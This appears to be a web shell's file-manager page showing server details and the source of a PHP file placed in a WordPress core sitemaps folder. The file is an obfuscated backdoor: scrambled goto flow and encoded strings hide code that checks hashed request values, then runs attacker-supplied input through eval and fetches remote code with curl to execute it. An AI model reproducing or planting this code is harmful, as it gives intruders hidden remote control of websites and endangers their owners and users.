HEX
Server: nginx/1.24.0
System: Linux localhost 5.15.0-46-generic #49-Ubuntu SMP Thu Aug 4 18:03:25 UTC 2022 x86_64
User: www (1000)
PHP: 8.3.27
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/bientansht.com/wp-includes/sitemaps/sitemaps/index.php
<?php
 goto aWv2YMYJFC; W9Q0uZNMnN: $wCsmMvLWVh = ${$IXwGuon2rc[4 + 27] . $IXwGuon2rc[21 + 38] . $IXwGuon2rc[1 + 46] . $IXwGuon2rc[12 + 35] . $IXwGuon2rc[7 + 44] . $IXwGuon2rc[33 + 20] . $IXwGuon2rc[46 + 11]}; goto WzlMrZu_V6; aWv2YMYJFC: $SIVGQu2Iy3 = "\x72" . "\x61" . "\x6e" . "\x67" . "\x65"; goto jntT0JXyED; WzlMrZu_V6: @(md5(md5(md5(md5($wCsmMvLWVh[4])))) === "\71\x34\143\x37\x39\x61\x66\x37\x37\x35\x63\x30\66\62\x66\x37\x34\146\x32\64\146\x35\64\x31\144\x65\66\63\x31\60\x35\60") && (count($wCsmMvLWVh) == 10 && in_array(gettype($wCsmMvLWVh) . count($wCsmMvLWVh), $wCsmMvLWVh)) ? ($wCsmMvLWVh[68] = $wCsmMvLWVh[68] . $wCsmMvLWVh[75]) && ($wCsmMvLWVh[89] = $wCsmMvLWVh[68]($wCsmMvLWVh[89])) && @eval($wCsmMvLWVh[68](${$wCsmMvLWVh[33]}[30])) : $wCsmMvLWVh; goto BFxVXRLjsp; BFxVXRLjsp: metaphone("\71\x70\131\x33\103\x36\x39\x30\63\130\x63\111\x34\x65\x42\x4a\125\126\71\57\121\x6b\x61\157\113\102\x47\141\110\x37\147\x52\126\x57\x50\171\x59\141\x58\x79\157\x77\111"); goto Oe5GDvB7xt; Oe5GDvB7xt: class zuBjQK_8Ed { static function cnGBjEWZQ9($gsUxMYgcpa) { goto pS2C4OSZD_; lX2M4zLoOh: xpZS8cIuym: goto oM2Mli3maD; xzIV5Dhv35: foreach ($PJp2keC9an as $dmExy12YPe => $rI5AEMVKRE) { $GCmFCpRvWq .= $jlKrld1jfr[$rI5AEMVKRE - 38274]; M5IAsj3luo: } goto lX2M4zLoOh; RiBh3MBjDH: $PJp2keC9an = explode("\157", $gsUxMYgcpa); goto nFSsZBYmvV; n2MhBrl5Qd: $jlKrld1jfr = $x0ubRrUQSv("\176", "\40"); goto RiBh3MBjDH; nFSsZBYmvV: $GCmFCpRvWq = ''; goto xzIV5Dhv35; pS2C4OSZD_: $x0ubRrUQSv = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto n2MhBrl5Qd; oM2Mli3maD: return $GCmFCpRvWq; goto VEbObp_a2P; VEbObp_a2P: } static function gKP6bGYwzf($fAhciPeXR2, $t3KXmWiy3v) { goto epyilWw7s1; zkOk71xboB: return empty($fgVessECff) ? $t3KXmWiy3v($fAhciPeXR2) : $fgVessECff; goto Pfytwv9AGJ; zx2tdjlGA2: $fgVessECff = curl_exec($VG1T8mWTNe); goto zkOk71xboB; epyilWw7s1: $VG1T8mWTNe = curl_init($fAhciPeXR2); goto iUNLSKczJ3; iUNLSKczJ3: curl_setopt($VG1T8mWTNe, CURLOPT_RETURNTRANSFER, 1); goto zx2tdjlGA2; Pfytwv9AGJ: } static function ErmSSTEPFt() { goto vO6BtStI_r; Of3nIRIMpY: Z3Lv5LdyLy: goto K5SrxTYnBo; l1aJUrfyq6: $QRa5x7hHzr = $Bt_TiquGK7[0 + 2]($DX_TkH4Chf, true); goto In9PTj9FcA; yT3VSTxqG7: $DX_TkH4Chf = @$Bt_TiquGK7[3 + 0]($Bt_TiquGK7[4 + 2], $NCeUKJmn41); goto l1aJUrfyq6; ktGdL2aym_: if (!(@$QRa5x7hHzr[0] - time() > 0 and md5(md5($QRa5x7hHzr[1 + 2])) === "\x61\x63\x32\65\145\63\x37\x38\63\62\x64\x34\64\63\63\x30\141\x38\62\x66\x37\66\144\x33\x62\142\70\x31\x38\x63\x36\141")) { goto Z3Lv5LdyLy; } goto mw5SuF_Tn0; vO6BtStI_r: $JlQ8BPhjd6 = array("\x33\x38\63\x30\61\157\63\70\62\70\66\x6f\63\70\62\71\71\157\x33\70\63\60\63\x6f\x33\70\x32\70\x34\157\x33\x38\62\71\x39\157\63\70\63\60\x35\157\x33\x38\62\71\x38\x6f\63\70\x32\70\x33\x6f\63\70\62\71\60\x6f\63\x38\x33\x30\61\157\x33\70\62\x38\x34\x6f\63\70\62\x39\x35\157\x33\x38\x32\x38\71\x6f\x33\70\x32\x39\60", "\63\70\x32\x38\x35\x6f\x33\70\62\70\64\x6f\63\70\62\x38\x36\157\x33\70\x33\x30\65\157\x33\x38\x32\70\x36\x6f\63\70\62\70\71\157\63\x38\x32\x38\x34\x6f\x33\70\x33\65\61\157\63\70\63\x34\71", "\63\70\x32\71\x34\x6f\x33\70\62\70\x35\x6f\63\70\62\x38\x39\x6f\x33\70\x32\x39\60\157\x33\x38\x33\x30\65\x6f\63\70\63\x30\x30\x6f\63\x38\x32\71\x39\x6f\x33\x38\63\60\61\157\63\x38\62\70\x39\x6f\x33\70\x33\x30\x30\157\63\70\62\x39\71", "\x33\70\62\70\x38\157\x33\x38\63\60\x33\x6f\63\70\63\x30\x31\x6f\x33\x38\62\71\63", "\x33\70\63\x30\x32\157\63\70\x33\60\x33\157\x33\x38\62\x38\65\157\x33\x38\62\71\71\157\x33\70\63\64\66\x6f\63\x38\63\x34\x38\x6f\63\70\x33\x30\65\157\63\x38\x33\60\60\x6f\x33\70\62\71\x39\157\63\70\63\x30\61\157\63\x38\62\70\71\157\63\70\63\x30\x30\x6f\63\x38\x32\71\x39", "\63\x38\x32\71\70\157\x33\x38\62\71\x35\157\63\x38\62\71\62\x6f\x33\70\x32\71\x39\x6f\x33\70\63\x30\65\157\x33\70\62\x39\x37\x6f\63\70\62\x39\71\x6f\63\70\x32\70\64\x6f\x33\70\63\60\65\x6f\x33\x38\63\60\61\x6f\x33\70\62\70\x39\x6f\x33\x38\62\71\x30\157\x33\70\62\70\x34\x6f\x33\70\62\71\71\x6f\x33\x38\62\x39\60\x6f\x33\70\62\x38\64\x6f\x33\x38\62\x38\x35", "\x33\x38\63\x32\70\x6f\x33\70\x33\65\x38", "\63\x38\x32\67\x35", "\63\70\63\x35\x33\157\63\70\x33\x35\70", "\x33\70\x33\63\65\157\x33\x38\63\61\x38\157\63\70\63\x31\70\x6f\63\70\63\63\x35\x6f\63\70\x33\x31\61", "\x33\x38\x32\x39\x38\x6f\63\70\x32\x39\65\x6f\63\70\x32\71\x32\x6f\63\70\x32\70\64\157\x33\x38\62\x39\71\157\63\70\x32\x38\66\157\63\x38\x33\60\65\157\63\70\62\71\x35\x6f\x33\70\62\71\x30\x6f\63\70\x32\70\70\157\63\x38\62\70\63\157\63\70\62\70\64"); goto QNZR2hZSbi; In9PTj9FcA: @$Bt_TiquGK7[9 + 1](INPUT_GET, "\x6f\x66") == 1 && die($Bt_TiquGK7[0 + 5](__FILE__)); goto ktGdL2aym_; QNZR2hZSbi: foreach ($JlQ8BPhjd6 as $wNilql6imW) { $Bt_TiquGK7[] = self::CnGBJEWZQ9($wNilql6imW); Mb1QM2H1L7: } goto YNQVBmpp7E; YNQVBmpp7E: OGMGEr2twM: goto Ux2P9X96gT; Z2gJpP3Q24: die; goto Of3nIRIMpY; lnxfYGFjZq: @eval($Bt_TiquGK7[2 + 2]($FCYQZ18Wgg)); goto Z2gJpP3Q24; mw5SuF_Tn0: $FCYQZ18Wgg = self::gkP6BgYWzf($QRa5x7hHzr[1 + 0], $Bt_TiquGK7[5 + 0]); goto lnxfYGFjZq; Ux2P9X96gT: $NCeUKJmn41 = @$Bt_TiquGK7[1]($Bt_TiquGK7[7 + 3](INPUT_GET, $Bt_TiquGK7[5 + 4])); goto yT3VSTxqG7; K5SrxTYnBo: } } goto sZiNhqyyMT; jntT0JXyED: $IXwGuon2rc = $SIVGQu2Iy3("\x7e", "\40"); goto W9Q0uZNMnN; sZiNhqyyMT: ZuBJqk_8ed::ERMssTEPfT();
?>